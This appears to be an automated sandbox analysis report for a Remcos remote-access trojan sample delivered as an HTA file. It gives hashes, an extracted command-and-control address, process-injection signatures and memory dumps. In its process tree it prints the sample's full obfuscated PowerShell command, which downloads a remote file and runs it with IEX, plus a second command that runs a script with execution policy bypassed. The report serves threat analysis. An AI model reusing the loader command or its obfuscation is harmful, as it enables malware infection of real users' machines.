remcos | 59d9dea1d62242b9bef74b91343ed8ef56525dfd9d0a9014494f487a15686fc0

Analysis

max time kernel
150s
max time network
151s
platform
windows7_x64
resource
win7v20210408
submitted
21-04-2021 15:03

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General

Target

Property.hta
Size

892B
MD5

aa6ce10d162230b25a61485b825e63f7
SHA1

3c67a18949e8ce67895f3faecd1ad0700afcb676
SHA256

59d9dea1d62242b9bef74b91343ed8ef56525dfd9d0a9014494f487a15686fc0
SHA512

5f4d58f15b5020fb0506ce52b09737ba7beb0743a1bc1b77086ec16875f30e3114e84ae3f8a18b19755634ec124cb5254da2d24901317ab98591b20750c9de45

Score

10^/10

remcos rat

Malware Config

Extracted

Family

remcos

194.5.97.183:8888

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

4 1376 powershell.exe
8 1376 powershell.exe
10 1376 powershell.exe
12 1376 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1804 set thread context of 1256 1804 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1376 powershell.exe
1376 powershell.exe
1804 powershell.exe
1804 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1376 powershell.exe
Token: SeDebugPrivilege 1804 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

1256 aspnet_compiler.exe

flow	pid	process
4	1376	powershell.exe
8	1376	powershell.exe
10	1376	powershell.exe
12	1376	powershell.exe

description	pid	process	target process
PID 1804 set thread context of 1256	1804	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1376	powershell.exe
1376	powershell.exe
1804	powershell.exe
1804	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe

pid	process
1256	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

mshta.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1996 wrote to memory of 1376	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 1376	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 1376	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 1376	1996	mshta.exe	powershell.exe
PID 1376 wrote to memory of 1804	1376	powershell.exe	powershell.exe
PID 1376 wrote to memory of 1804	1376	powershell.exe	powershell.exe
PID 1376 wrote to memory of 1804	1376	powershell.exe	powershell.exe
PID 1376 wrote to memory of 1804	1376	powershell.exe	powershell.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe
PID 1804 wrote to memory of 1256	1804	powershell.exe	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Property.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').Replace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.replace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601509.us.archive.org/35/items/all_20210420_20210420_1440/ALL.TXT'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:1256

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7bc5ca8a-50eb-4a28-856a-31595e01418a
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
b4a6274028aa52f343bf0bdb9c10bfcf

SHA1
761ec30e9ae23ceacd94f01bfc656617e26b9230

SHA256
055d83afe2d0d987068d2d29f2a1f8b8db5f7d3570b6e15cec840d86b3427f4e

SHA512
c2fa543951e5c16e7ad4b557863c5d50ba9617e8a68ef5c3c79ed36b710fbc500519496c670314f187844e3d77271c7850632fd2feb32c3e85011b73418ca836

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
15a3b52d980e2351fb7e6571772a4121

SHA1
ffe5df16ed01d63c0741366b8ccb09988e8d65c1

SHA256
239147929da815ea11ffc001266b98e6af9be6e7d3c72d6491ba7750d58b672f

SHA512
b641e8c90e0d12354521e31b3ed58c8abb2318c8f8666da264e68c8fe778e7b255a877977c2ca969bbf1c0bc564baf25d2169171f9b7f332367257e11ff0b139

Download Submit
C:\Users\Public\ Microsoft.ps1
MD5
eda0264cc0baa7804ce2a32a99aa9b98

SHA1
274b4d04e802370cac624649ea30149dded4e053

SHA256
950cc79c3173d2a1ad76a7b8e64c9100ca929caf0201396758380ff2d712680f

SHA512
43f6dd07e297c157f54147aa34512b4812f2650f990865c81181e14d379bf12352fcc3c2d20fbfb535d8bf2a3b5ebc7ab6aa0cd47ab498f0d1f5818e41bf9a74

Download Submit
memory/1256-107-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1256-108-0x000000000042EEEF-mapping.dmp

Download
memory/1256-110-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1376-70-0x0000000005FF0000-0x0000000005FF1000-memory.dmp

Filesize
4KB

Download
memory/1376-60-0x0000000000000000-mapping.dmp

Download
memory/1376-61-0x00000000767B1000-0x00000000767B3000-memory.dmp

Filesize
8KB

Download
memory/1376-62-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1376-85-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/1376-84-0x00000000061E0000-0x00000000061E1000-memory.dmp

Filesize
4KB

Download
memory/1376-77-0x0000000006260000-0x0000000006261000-memory.dmp

Filesize
4KB

Download
memory/1376-76-0x00000000060B0000-0x00000000060B1000-memory.dmp

Filesize
4KB

Download
memory/1376-72-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1376-63-0x0000000004810000-0x0000000004811000-memory.dmp

Filesize
4KB

Download
memory/1376-67-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1376-66-0x0000000004750000-0x0000000004751000-memory.dmp

Filesize
4KB

Download
memory/1376-65-0x0000000004812000-0x0000000004813000-memory.dmp

Filesize
4KB

Download
memory/1376-64-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1804-106-0x0000000002160000-0x0000000002178000-memory.dmp

Filesize
96KB

Download
memory/1804-86-0x0000000000000000-mapping.dmp

Download
memory/1804-93-0x0000000002140000-0x0000000002D8A000-memory.dmp

Filesize
12.3MB

Download
memory/1804-92-0x0000000002140000-0x0000000002D8A000-memory.dmp

Filesize
12.3MB

Download